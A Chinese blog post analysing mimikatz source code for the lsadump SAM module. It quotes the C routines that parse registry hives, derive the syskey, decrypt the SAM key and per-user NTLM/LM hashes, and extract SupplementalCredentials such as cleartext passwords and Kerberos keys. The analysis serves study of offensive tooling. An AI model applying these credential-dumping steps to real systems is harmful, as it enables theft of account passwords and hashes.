mimikatz源碼分析-lsadump模塊(註冊表)

fans news 發佈 2021-12-28T00:45:27+00:00

mimikatz是內網滲透中的一大利器,本文是分析學習mimikatz源碼的第二篇,主要討論學習lsadump模塊的sam部分,即從註冊表獲取用戶哈希的部分。

mimikatz是內網滲透中的一大利器,本文是分析學習mimikatz源碼的第二篇,主要討論學習lsadump模塊的sam部分,即從註冊表獲取用戶哈希的部分

Windows註冊表hive格式分析

mimikatz的這個功能從本質上是解析Windows的資料庫文件,從而獲取其中存儲的用戶哈希。所以這裡先簡要對Windows註冊表hive文件做簡要說明,詳細點的介紹可參見Windows註冊表HIVE文件格式解析和簡單認識下註冊表的HIVE文件格式兩篇文章。

總的來說,hive文件的內容結構有點PE文件的意味,有「文件頭」和各個「節區」、「節區頭」。當然這裡的「文件頭」被叫做HBASE_BLOCK,「節區頭」和「節區」分別叫做BINCELL也即「巢箱」和「巢室」。整個hive文件被叫做「儲巢」,特點是以HBASE_BLOCK開頭,用來記錄hive文件的各種信息。
畫了個圖,看上去可能會直觀點:

關於各個部分的結構體定義可參考010Editor提供的模板腳本,不過筆者使用模板代碼時並不能正確解析hive文件,所以後文涉及鍵值查詢時以mimikatz中的定義的結構體為準。

HBASE_BLOCK

010Editor分析後對應結構的描述如下圖:

每個欄位的含義可以根據對應的名稱得知,需要關注的是塊的簽名:regf

HBIN

010Editor分析後對應結構的描述如下圖:

前面說到,這個結構相當於PE文件的節區頭,它包含了「節區」的大小,偏移等信息,這裡同樣需要關注HbinSignature即簽名,對於巢箱來講,它的簽名是hbin,有了這個簽名,就可以定位到巢箱的位置保證後續能夠正常查詢到鍵值。不同類型的數據如鍵、值、安全描述符等分門別類的存放在各個類型的巢室中。

mimikatz解析流程

在提供sam文件和system文件的情況下,解析的大體流程如下:

0x1 獲取註冊表system的「句柄」
0x2 讀取計算機名和解密密鑰
0x3 獲取註冊表sam的「句柄」
0x4 讀取用戶名和用戶哈希

未提供sam文件和system文件的情況下,mimikatz會使用官方的api直接讀取當前機器中的註冊表

這裡先對mimikatz中創建的幾個結構體做簡要說明,再繼續對整個流程的分析。首先是PKULL_M_Registry_HANDLE,這個結構體主要是用於標識操作的註冊表對象以及註冊表的內容,它由兩個成員構成,即:

typedef struct _KULL_M_REGISTRY_HANDLE {
    KULL_M_REGISTRY_TYPE type;
    union {
        PKULL_M_REGISTRY_HIVE_HANDLE pHandleHive;
    };
} KULL_M_REGISTRY_HANDLE, *PKULL_M_REGISTRY_HANDLE;

其中,type用於標識是對註冊表hive文件操作,還是通過API直接讀取當前機器中的註冊表項,這裡不再對其進一步說明。對於第二個成員pHANDLEHive就涉及到第二結構體了,先看它的定義:

typedef struct _KULL_M_REGISTRY_HIVE_HANDLE
{
    HANDLE hFileMapping;
    LPVOID pMapViewOfFile;
    PBYTE pStartOf;
    PKULL_M_REGISTRY_HIVE_KEY_NAMED pRootNamedKey;
} KULL_M_REGISTRY_HIVE_HANDLE, *PKULL_M_REGISTRY_HIVE_HANDLE;

這個結構體實際上就是前面所說的註冊表文件的「句柄」,由4個成員組成:

1、 hFileMapping:文件映射的句柄
2、 pMapViewOfFile:指向文件映射映射到調用進程地址空間的位置,用來訪問映射文件內容

3、 pStartOf:指向註冊表hive文件的第一個巢箱
4、 pRootNamedKey:指向一個鍵巢室,用於查找子鍵和子鍵值

對於鍵巢室,mimikatz中定義的結構體如下:

typedef struct _KULL_M_REGISTRY_HIVE_KEY_NAMED
{
    LONG szCell;
    WORD tag;
    WORD flags;
    FILETIME lastModification;
    DWORD unk0;
    LONG offsetParentKey;
    DWORD nbSubKeys;
    DWORD nbVolatileSubKeys;
    LONG offsetSubKeys;
    LONG offsetVolatileSubkeys;
    DWORD nbValues;
    LONG offsetValues;
    LONG offsetSecurityKey;
    LONG offsetClassName;
    DWORD szMaxSubKeyName;
    DWORD szMaxSubKeyClassName;
    DWORD szMaxValueName;
    DWORD szMaxValueData;
    DWORD unk1;
    WORD szKeyName;
    WORD szClassName;
    BYTE keyName[ANYSIZE_ARRAY];
} KULL_M_REGISTRY_HIVE_KEY_NAMED, *PKULL_M_REGISTRY_HIVE_KEY_NAMED;

這裡和010Editor給出的結果大體上一致,關於兩者的差異以及孰對孰錯以筆者目前的水平還不足以甄別,不過這並不影響對mimikatz解析註冊表這部分代碼的分析學習。實際上只是用到了其中的幾個成員,如tag(簽名)、flags、nbSubKeys、offsetSubkeys等,而對於這些成員,從命名上可以判斷二者所代表的含義應該是相似的。

獲取註冊表「句柄」

對於sam文件和system文件,這一步所作的操作都一樣,即將文件映射到內存。這裡主要涉及到兩個Windows API:

1、CreateFileMapping,MSDN解釋為指定文件創建或打開一個命名或未命名的文件映射對象,函數原型如下:

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName
);

這裡主要關注兩個參數,一是hFile即文件句柄,可以由CreateFile獲得;二是flProtect,用於標識權限如PAGE_READWRITE

2、MapViewOfFile,MSDN解釋為將文件映射映射到調用進程的地址空間,函數原型如下:

LPVOID MapViewOfFile(
  [in] HANDLE hFileMappingObject,
  [in] DWORD  dwDesiredAccess,
  [in] DWORD  dwFileOffsetHigh,
  [in] DWORD  dwFileOffsetLow,
  [in] SIZE_T dwNumberOfBytesToMap
);

同樣的,這裡關注兩個參數,一是hFileMappingObject,顧名思義,文件映射的句柄;二是dwDesiredAccess,映射對象的訪問權限,同CreateFileMapping的參數flProtect

通過這種方式可以方便的處理大文件,因為創建一個大的文件映射時不會占用任何系統資源,只有在調用如MapViewOfFile來訪問文件內容時才消耗系統資源,而對於MapViewOfFile而言,完全可以一次只映射文件數據的一小部分,然後在取消當前映射後再重新映射新的內容。這樣一來,即便是處理超大文件,也不會導致進程本身占用內存過多。

回到正題,在mimikatz的源碼中,創建註冊表hive文件的映射目的還是為了讀取文件內容,首先通過regf定位到hive文件的頭,隨後通過偏移定位到第一個bin,然後保存相關的信息:

if((pFh->tag == 'fger') && (pFh->fileType == 0))
{
    pBh = (PKULL_M_REGISTRY_HIVE_BIN_HEADER) ((PBYTE) pFh + sizeof(KULL_M_REGISTRY_HIVE_HEADER));
    if(pBh->tag == 'nibh')
    {
        (*hRegistry)->pHandleHive->pStartOf = (PBYTE) pBh;
        (*hRegistry)->pHandleHive->pRootNamedKey = (PKULL_M_REGISTRY_HIVE_KEY_NAMED) ((PBYTE) pBh + sizeof(KULL_M_REGISTRY_HIVE_BIN_HEADER) + pBh->offsetHiveBin);
        status = (((*hRegistry)->pHandleHive->pRootNamedKey->tag == 'kn') && ((*hRegistry)->pHandleHive->pRootNamedKey->flags & (KULL_M_REGISTRY_HIVE_KEY_NAMED_FLAG_ROOT | KULL_M_REGISTRY_HIVE_KEY_NAMED_FLAG_LOCKED)));
    }
}

這裡需要注意的點是第一個巢室即pRootNameKey需要對應為鍵巢室,否則「句柄」打開失敗。

獲取計算機名和解密密鑰

獲取句柄之後的操作對於system這個hive文件來講,就是獲取密鑰了,密鑰長度為16。這裡的密鑰位於HKLM\SYSTEM\ControlSet000\Current\Control\LSA,由四個不同的鍵的鍵值按固定順序組合得到。
首先查找鍵值,比如JD對應的值為b8 18 7d 0b,這一項在文件中對應的值如下圖:

通過swscanf_s將寬字符轉換為四個字節的密鑰,查詢完四個鍵之後即得到最後16個字節的密鑰數據:

const wchar_t * kuhl_m_lsadump_SYSKEY_NAMES[] = {L"JD", L"Skew1", L"GBG", L"Data"};
...
for(i = 0 ; (i < ARRAYSIZE(kuhl_m_lsadump_SYSKEY_NAMES)) && status; i++)
{
    status = FALSE;
    if(kull_m_registry_RegOpenKeyEx(hRegistry,  , kuhl_m_lsadump_SYSKEY_NAMES[i], 0, KEY_READ, &hKey))
    {
        szBuffer = 8 + 1;
        if(kull_m_registry_RegQueryInfoKey(hRegistry, hKey, buffer, &szBuffer, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL))
            status = swscanf_s(buffer, L"%x", (DWORD *) &buffKey[i*sizeof(DWORD)]) != -1;
        kull_m_registry_RegCloseKey(hRegistry, hKey);
    }
    else PRINT_ERROR(L"LSA Key Class read error\n");
}

得到16個字節的密鑰數據之後按照固定的順序組裝即得到最終的密鑰:

const BYTE kuhl_m_lsadump_SYSKEY_PERMUT[] = {11, 6, 7, 1, 8, 10, 14, 0, 3, 5, 2, 15, 13, 9, 12, 4};
...
for(i = 0; i < SYSKEY_LENGTH; i++)
    sysKey[i] = buffKey[kuhl_m_lsadump_SYSKEY_PERMUT[i]];

這裡可能只需要看看兩個函數的實現:

1、 kull_m_registry_RegOpenKeyEx,打開一個註冊表鍵

這個函數的函數體由兩個分支構成,一是通過RegOpenKeyEx這個API直接打開一個註冊表鍵;二是遞歸查找提供的hive文件,定位到對應的子鍵列表巢室(hl)。所以,換句話說,打開一個註冊表鍵,這裡實際上是定位到想要獲取的巢室:

pHbC = (PKULL_M_REGISTRY_HIVE_BIN_CELL) (hRegistry->pHandleHive->pStartOf + pKn->offsetSubKeys);
if(ptrF = wcschr(lpSubKey, L'\\'))
{
    if(buffer = (wchar_t *) LocalAlloc(LPTR, (ptrF - lpSubKey + 1) * sizeof(wchar_t)))
    {
        RtlCopyMemory(buffer, lpSubKey, (ptrF - lpSubKey) * sizeof(wchar_t));
        if(*phkResult = (HKEY) kull_m_registry_searchKeyNamedInList(hRegistry, pHbC, buffer))
            kull_m_registry_RegOpenKeyEx(hRegistry, *phkResult, ptrF + 1, ulOptions, samDesired, phkResult);
        LocalFree(buffer);
    }
}
else *phkResult = (HKEY) kull_m_registry_searchKeyNamedInList(hRegistry, pHbC, lpSubKey);

首先通過鍵巢室的offsetSubKeys成員獲取子鍵列表距離巢箱的偏移,隨後調用kull_m_registry_searchKeyNamedInList定位到要查找的巢室。當然,這裡有兩種情況,一是要查找的子鍵包含路徑,形如Control\LSA;二是不包含路徑如Select,這種情況也即是要獲取的鍵和根鍵同級。關於Select,可以在regedit中看到:

在mimikatz的代碼裡面,獲取計算機名以及密鑰是先定位該子鍵的:

// kuhl_m_lsadump_getComputerAndSyskey
if(kuhl_m_lsadump_getCurrentControlSet(hRegistry, hSystemBase, &hCurrentControlSet))
{
    kprintf(L"Domain : ");
    if(kull_m_registry_OpenAndQueryWithAlloc(hRegistry, hCurrentControlSet, L"Control\\ComputerName\\ComputerName", L"ComputerName", NULL, &computerName, NULL))
    {
        kprintf(L"%s\n", computerName);
        LocalFree(computerName);
    }
    kprintf(L"SysKey : ");
    if(kull_m_registry_RegOpenKeyEx(hRegistry, hCurrentControlSet, L"Control\\LSA", 0, KEY_READ, &hComputerNameOrLSA))
...
// kuhl_m_lsadump_getCurrentControlSet
wchar_t currentControlSet[] = L"ControlSet000";
if(kull_m_registry_RegOpenKeyEx(hRegistry, hSystemBase, L"Select", 0, KEY_READ, &hSelect))
{
    for(i = 0; !status && (i < ARRAYSIZE(kuhl_m_lsadump_CONTROLSET_SOURCES)); i++)
    {
        szNeeded = sizeof(DWORD); 
        status = kull_m_registry_RegQueryValueEx(hRegistry, hSelect, kuhl_m_lsadump_CONTROLSET_SOURCES[i], NULL, NULL, (LPBYTE) &controlSet, &szNeeded);
    }

隨後就是定位到具體的巢室了,對應的函數為kull_m_registry_searchKeyNamedInList,這個函數做的操作只有一個,即遍歷子鍵列表。

case 'hl':
    pLfLh = (PKULL_M_REGISTRY_HIVE_LF_LH) pHbC;
    for(i = 0 ; i < pLfLh->nbElements && !result; i++)
    {
        pKn = (PKULL_M_REGISTRY_HIVE_KEY_NAMED) (hRegistry->pHandleHive->pStartOf + pLfLh->elements[i].offsetNamedKey);
        if(pKn->tag == 'kn')
        {
            if(pKn->flags & KULL_M_REGISTRY_HIVE_KEY_NAMED_FLAG_ASCII_NAME)
                buffer = kull_m_string_qad_ansi_c_to_unicode((char *) pKn->keyName, pKn->szKeyName);
            else if(buffer = (wchar_t *) LocalAlloc(LPTR, pKn->szKeyName + sizeof(wchar_t)))
                RtlCopyMemory(buffer, pKn->keyName, pKn->szKeyName);

            if(buffer)
            {
                if(_wcsicmp(lpSubKey, buffer) == 0)
                    result = pKn;
                LocalFree(buffer);
            }
        }
    }
    break;

對應的,這裡對子鍵列表巢室的描述如下:

typedef struct _KULL_M_REGISTRY_HIVE_LF_LH
{
    LONG szCell;
    WORD tag;
    WORD nbElements;
    KULL_M_REGISTRY_HIVE_LF_LH_ELEMENT elements[ANYSIZE_ARRAY];
} KULL_M_REGISTRY_HIVE_LF_LH, *PKULL_M_REGISTRY_HIVE_LF_LH;

成員簡單但各自的作用都很明顯,成員elements即我們想要遍歷的子鍵列表,此外nbElements是子鍵列表的長度。

整個過程有點像遍歷二叉樹,從根節點開始到每個葉子節點,層層遞進,知道定位到目標鍵巢室。這裡值得注意的是從鍵巢室到鍵巢室,中間是通過子鍵列表巢室來查詢的,即每個鍵巢室保存了一個指向其子鍵的列表的偏移,需要查詢其子鍵時就通過這個列表獲取對應子鍵的偏移最終達到定位的目的。

2、 kull_m_registry_RegQueryInfoKey,獲取鍵值

打開對應的鍵之後(定位到對應的鍵巢室),就是查詢相應的鍵值了,這裡同樣也有兩種情況,即通過RegQueryInfoKey這個API直接查詢,另一種情況是直接從hive文件獲取。首先看如何獲取hive文件中的內容,不過這部分操作實際就是從定位到的鍵巢室把數據拿出來寫入到對應的傳入的參數,對於鍵值的獲取,則是通過offsetClassName成員定位的:

// kull_m_registry_RegQueryInfoKey
if(status = (*lpcClass > szInCar))
{
    RtlCopyMemory(lpClass, &((PKULL_M_REGISTRY_HIVE_BIN_CELL) (hRegistry->pHandleHive->pStartOf + pKn->offsetClassName))->data , pKn->szClassName);
    lpClass[szInCar] = L'\0';
}
// kull_m_registry_structures.h
typedef struct _KULL_M_REGISTRY_HIVE_BIN_CELL
{
    LONG szCell;
    union{
        WORD tag;
        BYTE data[ANYSIZE_ARRAY];
    };
} KULL_M_REGISTRY_HIVE_BIN_CELL, *PKULL_M_REGISTRY_HIVE_BIN_CELL;

對於計算機名,存儲在HKLM\SYSTEM\ControlSet000\Current\Control\ComputerName\ComputerName,通過regedit就可以直接查看到,當然代碼中同樣也是通過定位巢室來獲取(最終都是調用kull_m_registry_searchValueNameInList獲取對應的鍵值,和獲取密鑰的流程一致,只是這裡不需要獲取多個鍵值)。但是對於密鑰來講,筆者並未找到通過regedit直接查看的方法。

前面還提到了兩個API,即RegOpenKeyExRegQueryInfoKey,在直接讀取本地的計算機名和密鑰時,直接使用這兩個API就要方便的多。首先第一個函數的原型如下:

LONG RegOpenKeyEx( 
  HKEY hKey, 
  LPCWSTR lpSubKey, 
  DWORD ulOptions, 
  REGSAM samDesired, 
  PHKEY phkResult 
);

對於第一個參數,一個打開的鍵或者以下的四個宏:

  • HKEY_LOCAL_MACHINE
  • HKEY_CLASSES_ROOT
  • HKEY_CURRENT_USER
  • HKEY_USERS

其實這四個宏剛好對應到用regedit打開註冊表時看到的四個主鍵,函數執行成功後即打開一個鍵,返回一個句柄到phkResilt,這個句柄可以為下一次調用RegOpenKeyEx所使用。對於剩下的三個參數,需要對samDesired說明一下,在msdn解釋是這個參數是保留參數,設置為0,但是mimikatz的代碼中這裡傳遞了一個WinNT.h中的宏:KEY_READ

第二個函數原型如下:

LONG RegQueryInfoKey( 
  HKEY hKey, 
  LPWSTR lpClass, 
  LPDWORD lpcbClass, 
  LPDWORD lpReserved, 
  LPDWORD lpcSubKeys, 
  LPDWORD lpcbMaxSubKeyLen, 
  LPDWORD lpcbMaxClassLen, 
  LPDWORD lpcValues, 
  LPDWORD lpcbMaxValueNameLen, 
  LPDWORD lpcbMaxValueLen, 
  LPDWORD lpcbSecurityDescriptor, 
  PFILETIME lpftLastWriteTime 
);

要達到查詢鍵值的目的,這裡重點關注前三個參數,其中hKeyRegOpenKeyEx,後面兩個參數分別對應存儲值的緩衝區以及值的大小。

獲取用戶名和用戶哈希

解析完SYSTEM,接下來就是SAM了。同樣的,首先是打開一個「句柄」,這裡的操作和簽名的操作完全一致。隨後就是查詢用戶名和用戶哈希,不過在這之前先查詢了SID,過程和前面查詢計算機名一致,只是這裡路徑換成了HKLM\SAM\Domains\Account,鍵名從ComputerName變成了V,這個可以通過regedit直接看到:

不過這裡獲取SID調用了一個API:ConvertSidToStringSid,傳入的值即V對應的部分鍵值(其實從傳入的參數可以大致猜出鍵值的組成即用戶+sid,當然這裡不是本文的重點):

kull_m_string_displaySID((PBYTE) data + szUser - (sizeof(SID) + sizeof(DWORD) * 3));

重點在於用戶名及其對應的哈希的獲取,大體的流程分三部分:

1、獲取SamKey
2、獲取用戶名
3、獲取用戶哈希

首先是獲取SamKey,它的值位於」HKLM\SAM\Domains\Account\F」,不過值本身是加密的,解密密鑰是前面從system中獲取的syskey,加密算法分兩個版本(rc4和aes128),由具體的版本決定採用的加密算法,這裡涉及兩個結構體:

typedef struct _SAM_KEY_DATA {
    DWORD Revision;
    DWORD Length;
    BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
    BYTE Key[SAM_KEY_DATA_KEY_LENGTH];
    BYTE CheckSum[MD5_DIGEST_LENGTH];
    DWORD unk0;
    DWORD unk1;
} SAM_KEY_DATA, *PSAM_KEY_DATA;

typedef struct _DOMAIN_ACCOUNT_F {
    WORD Revision;
    WORD unk0;
    DWORD unk1;
    OLD_LARGE_INTEGER CreationTime;
    OLD_LARGE_INTEGER DomainModifiedCount;
    OLD_LARGE_INTEGER MaxPasswordAge;
    OLD_LARGE_INTEGER MinPasswordAge;
    OLD_LARGE_INTEGER ForceLogoff;
    OLD_LARGE_INTEGER LockoutDuration;
    OLD_LARGE_INTEGER LockoutObservationWindow;
    OLD_LARGE_INTEGER ModifiedCountAtLastPromotion;
    DWORD NextRid;
    DWORD PasswordProperties;
    WORD MinPasswordLength;
    WORD PasswordHistoryLength;
    WORD LockoutThreshold;
    DOMAIN_SERVER_ENABLE_STATE ServerState;
    DOMAIN_SERVER_ROLE ServerRole;
    BOOL UasCompatibilityRequired;
    DWORD unk2;
    SAM_KEY_DATA keys1;
    SAM_KEY_DATA keys2;
    DWORD unk3;
    DWORD unk4;
} DOMAIN_ACCOUNT_F, *PDOMAIN_ACCOUNT_F;

先說_DOMAIN_ACCOUNT_F,成員Revision的值需為3,才能正確進入後後續的解密流程;成員keys1包含了samkey如_SAM_KEY_DATA所描述的內容。其他的成員在mimikatz的代碼里似乎沒有用到,而對於_SAM_KEY_DATA來說只適用於加密算法採用rc4的情況,此時對應的Revision為1,加密密鑰是由成員Salt的值作為鹽,並用syskey作為密鑰採用md5摘要算法生成,然後對成員Key進行rc4解密:

MD5Init(&md5ctx);
MD5Update(&md5ctx, pDomAccF->keys1.Salt, SAM_KEY_DATA_SALT_LENGTH);
MD5Update(&md5ctx, kuhl_m_lsadump_qwertyuiopazxc, sizeof(kuhl_m_lsadump_qwertyuiopazxc));
MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH);
MD5Update(&md5ctx, kuhl_m_lsadump_01234567890123, sizeof(kuhl_m_lsadump_01234567890123));
MD5Final(&md5ctx);
RtlCopyMemory(samKey, pDomAccF->keys1.Key, SAM_KEY_DATA_KEY_LENGTH);
if(!(status = NT_SUCCESS(RtlDecryptData2(&data, &key))))

採用aes128的時候對應的Revision為2,這時候keys1會被轉換為PSAM_KEY_DATA_AES結構體類型,該結構體定義如下:

typedef struct _SAM_KEY_DATA_AES {
    DWORD Revision; // 2
    DWORD Length;
    DWORD CheckLen;
    DWORD DataLen;
    BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
    BYTE data[ANYSIZE_ARRAY]; // Data, then Check
} SAM_KEY_DATA_AES, *PSAM_KEY_DATA_AES;

從結構體成員看二者大差不差,加密流程來看Slat被用作AES加密的IV,syskey則是AES加密的密鑰,最後密文即samkey在成員data中。解密部分代碼如下:

if(kull_m_crypto_hkey(hProv, CALG_AES_128, pKey, 16, 0, &hKey, NULL))
{
    if(CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE) &mode, 0))
    {
        if(CryptSetKeyParam(hKey, KP_IV, (LPCBYTE) pIV, 0))
        {
            if(*pOut = LocalAlloc(LPTR, dwDataLen))
            {
                *dwOutLen = dwDataLen;
                RtlCopyMemory(*pOut, pData, dwDataLen);
                if(!(status = CryptDecrypt(hKey, 0, TRUE, 0, (PBYTE) *pOut, dwOutLen)))

獲取到samkey之後的操作就是遍歷HKLM\SAM\Domains\Account\Users,鍵值的獲取和前面討論的獲取鍵值的流程一致,這裡不再贅述,獲取用戶名和對應的哈希大體流程如下:

1、查詢Users對應的鍵值,獲取子鍵個數即用戶的數量
2、遍歷獲取用戶(Users下面的子鍵(RID))
3、打開子鍵並獲取鍵值(子鍵V的值)
4、解析獲取到的鍵值並使用samKey解密數據得到用戶哈希

關鍵看如何從鍵值中獲取用戶名以及對應的哈希,對於獲取的數據mimikatz用以下結構體描述:

typedef struct _SAM_ENTRY {
    DWORD offset;
    DWORD lenght;
    DWORD unk;
} SAM_ENTRY, *PSAM_SENTRY;

typedef struct _USER_ACCOUNT_V {
    SAM_ENTRY unk0_header;
    SAM_ENTRY Username;
    SAM_ENTRY Fullname;
    SAM_ENTRY Comment;
    SAM_ENTRY UserComment;
    SAM_ENTRY unk1;
    SAM_ENTRY Homedir;
    SAM_ENTRY HomedirConnect;
    SAM_ENTRY ScriptPath;
    SAM_ENTRY ProfilePath;
    SAM_ENTRY Workstations;
    SAM_ENTRY HoursAllowed;
    SAM_ENTRY unk2;
    SAM_ENTRY LMHash;
    SAM_ENTRY NTLMHash;
    SAM_ENTRY NTLMHistory;
    SAM_ENTRY LMHistory;
    BYTE datas[ANYSIZE_ARRAY];
} USER_ACCOUNT_V, *PUSER_ACCOUNT_V;

從結構體定義可以看出,我們想要獲取的數據在成員datas中,其他成員主要記錄了對應的值的長度以及在datas中的偏移,比如要獲取用戶名即datas+Username->offset。這裡用戶名是明文存儲的,所以可以直接獲取,但是對應的哈希是以密文的形式存儲,解密密鑰為前面獲取的samKey,解密流程和解密samKey一致,只是在細節上有所差異:

1、採用rc4加密時,生成密鑰這裡用到了samKey、rid以及固定的字符串如NTPASSWORDHISTORY
2、採用aes128加密時,密鑰換成了samKey,其他的於前面基本一致,只是這裡描述加密數據的結構體有所變化:

typedef struct _SAM_HASH_AES {
    WORD PEKID;
    WORD Revision;
    DWORD dataOffset;
    BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
    BYTE data[ANYSIZE_ARRAY]; // Data
} SAM_HASH_AES, *PSAM_HASH_AES;

此外,這裡解密之後得到的數據依舊不是最終想要的哈希,這是和前面獲取samKey最關鍵的不同之處:

kuhl_m_lsadump_dcsync_decrypt(cypheredHashBuffer.Buffer, cypheredHashBuffer.Length, rid, isNtlm ? (isHistory ? L"ntlm" : L"NTLM" ) : (isHistory ? L"lm  " : L"LM  "), isHistory);

這個函數內部實際上是調用了cryptsp.dll中的函數SystemFunction027,其實前面rc4解密調用的函數也是這個dll中的函數:SystemFunction033。簡單看一下這裡的解密操作:

  KeysFromIndex(index, v6);
  result = SystemFunction002(encData, v6, decData);
  if ( (int)result >= 0 )
    return SystemFunction002(encData + 8, v7, decData + 8);
  return result;

其中,KeysFromIndex實際上就是根據傳入的index生成一個用於解密的key,然後傳遞到SystemFunction002進行解密操作,SystemFunction002位於cryptbase.dll,實際上是DES解密:

__int64 __fastcall SystemFunction002(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 result; // rax

  result = DES_ECB_LM(0i64, a2, a1, a3);
  if ( (_DWORD)result )
    return 3221225473i64;
  return result;
}

這裡其實有套娃的味道了,不過我們可以不用關心具體的解密流程,只需直接調用SystemFunction027就可以對數據進行解密進而獲得用戶哈希了。

在獲取到用戶的哈希之後還注意到一個函數:kuhl_m_lsadump_getSupplementalCreds,函數做的操作是獲取RID對應的鍵的子鍵SupplementalCreds的數據,解析並解密獲取對應用戶的SupplementalCredentials屬性,關於這個屬性可參見MSDN

可以重點關注一下MSDN中給的表:

可以看到,這裡面是包含了明文密碼以及明文密碼的哈希的,每個欄位的格式在文檔中也有說明,感興趣的可以看看。在mimikatz的代碼中,定義了兩個結構體,一是描述加密後的數據:

typedef struct _KIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS {
    DWORD unk0;
    DWORD unkSize;
    DWORD unk1; // flags ?
    DWORD originalSize;
    BYTE iv[LAZY_IV_SIZE];
    BYTE encrypted[ANYSIZE_ARRAY];
} KIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS, *PKIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS;

和前面的其實如出一轍,解密密鑰同樣使用的是samKey,加密算法和解密用戶哈希一樣也是aes128。另一個結構體則是用來描述具體的SupplementalCredentials信息:

typedef struct _USER_PROPERTIES {
    DWORD Reserved1;
    DWORD Length;
    USHORT Reserved2;
    USHORT Reserved3;
    BYTE Reserved4[96];
    wchar_t PropertySignature;
    USHORT PropertyCount;
    USER_PROPERTY UserProperties[ANYSIZE_ARRAY];
} USER_PROPERTIES, *PUSER_PROPERTIES;

屬性的簽名為P,通過成員PropertyCount遍歷成員UserProperties,需要注意的點是每個屬性名是UTF-16編碼的字符所以在mimikatz中定義了一個名為UNICODE_STRING的類型來描述對應的數據:

#define DECLARE_UNICODE_STRING(_var, _string) \
const WCHAR _var ## _buffer[] = _string; \
UNICODE_STRING _var = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWCH) _var ## _buffer }

此外,對於每個屬性的描述用結構體_USER_PROPERTY

typedef struct _USER_PROPERTY {
    USHORT NameLength;
    USHORT ValueLength;
    USHORT Reserved;
    wchar_t PropertyName[ANYSIZE_ARRAY];
    // PropertyValue in HEX !
} USER_PROPERTY, *PUSER_PROPERTY;

每輪遍歷結束,尋找下一個屬性名就加上NameLength和ValueLength,有點鍊表的意味,其實可以發現整個hive文件都是這樣的形式,通過頭記錄對應的數據信息,同類型的數據通過大小來計算偏移,不同的數據類型就根據頭中的偏移來定位。

每輪遍歷首先做的是將屬性值轉換成hex的格式:

for(j = 0; j < szData; j++)
{
    sscanf_s(&value[j*2], "%02x", &k);
    data[j] = (BYTE) k;
}

隨後就是判斷屬性的具體類型,支持的類型也即是前面提到的表中的類型定義為常量的形式:

DECLARE_CONST_UNICODE_STRING(PrimaryCleartext, L"Primary:CLEARTEXT");
DECLARE_CONST_UNICODE_STRING(PrimaryWDigest, L"Primary:WDigest");
DECLARE_CONST_UNICODE_STRING(PrimaryKerberos, L"Primary:Kerberos");
DECLARE_CONST_UNICODE_STRING(PrimaryKerberosNew, L"Primary:Kerberos-Newer-Keys");
DECLARE_CONST_UNICODE_STRING(PrimaryNtlmStrongNTOWF, L"Primary:NTLM-Strong-NTOWF");
DECLARE_CONST_UNICODE_STRING(Packages, L"Packages");

如果是Primary:CLEARTEXT就直接列印出明文的字符串,否則就列印出十六進位字符串,不過其餘的屬性都定義有有描述其結構的結構體,以Primary:Kerberos為例,描述它的有兩個結構體:

typedef struct _KERB_KEY_DATA {
    USHORT    Reserverd1;
    USHORT    Reserverd2;
    ULONG    Reserverd3;
    LONG    KeyType;
    ULONG    KeyLength;
    ULONG    KeyOffset;
} KERB_KEY_DATA, *PKERB_KEY_DATA;

typedef struct _KERB_STORED_CREDENTIAL {
    USHORT    Revision;
    USHORT    Flags;
    USHORT    CredentialCount;
    USHORT    OldCredentialCount;
    USHORT    DefaultSaltLength;
    USHORT    DefaultSaltMaximumLength;
    ULONG    DefaultSaltOffset;
    //KERB_KEY_DATA    Credentials[ANYSIZE_ARRAY];
    //KERB_KEY_DATA    OldCredentials[ANYSIZE_ARRAY];
    //BYTE    DefaultSalt[ANYSIZE_ARRAY];
    //BYTE    KeyValues[ANYSIZE_ARRAY];
} KERB_STORED_CREDENTIAL, *PKERB_STORED_CREDENTIAL;

其中,_KERB_STORED_CREDENTIAL相當於該屬性值的頭,緊隨其後的就是對應的值,即_KERB_KEY_DATA,它記錄了對應屬性保存的明文密碼哈希值,不過需要注意的是其中的KeyOffset是相對於_KERB_STORED_CREDENTIAL的偏移,這部分對應的代碼如下:

// kuhl_m_lsadump_dcsync_descrUserProperties
else if(RtlEqualUnicodeString(&PrimaryKerberos, &Name, TRUE))
{
    pKerb = (PKERB_STORED_CREDENTIAL) data;
    kprintf(L"    Default Salt : %.*s\n", pKerb->DefaultSaltLength / sizeof(wchar_t), (PWSTR) ((PBYTE) pKerb + pKerb->DefaultSaltOffset));
    pKeyData = (PKERB_KEY_DATA) ((PBYTE) pKerb + sizeof(KERB_STORED_CREDENTIAL));
    pKeyData = kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->CredentialCount, L"Credentials");
    kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->OldCredentialCount, L"OldCredentials");
}
// kuhl_m_lsadump_lsa_keyDataInfo
PKERB_KEY_DATA kuhl_m_lsadump_lsa_keyDataInfo(PVOID base, PKERB_KEY_DATA keys, USHORT Count, PCWSTR title)
{
    USHORT i;
    if(Count)
    {
        if(title)
            kprintf(L"    %s\n", title);
        for(i = 0; i < Count; i++)
        {
            kprintf(L"      %s : ", kuhl_m_kerberos_ticket_etype(keys[i].KeyType));
            kull_m_string_wprintf_hex((PBYTE) base + keys[i].KeyOffset, keys[i].KeyLength, 0);
            kprintf(L"\n");
        }
    }
    return (PKERB_KEY_DATA) ((PBYTE) keys + Count * sizeof(KERB_KEY_DATA));
}

其他屬性的解析與此類似,相關的結構體可以在mimikatz\modules\kuhl_m_lsadump.h中找到,此處不再贅述。

本文由落花流水鴨原創發布
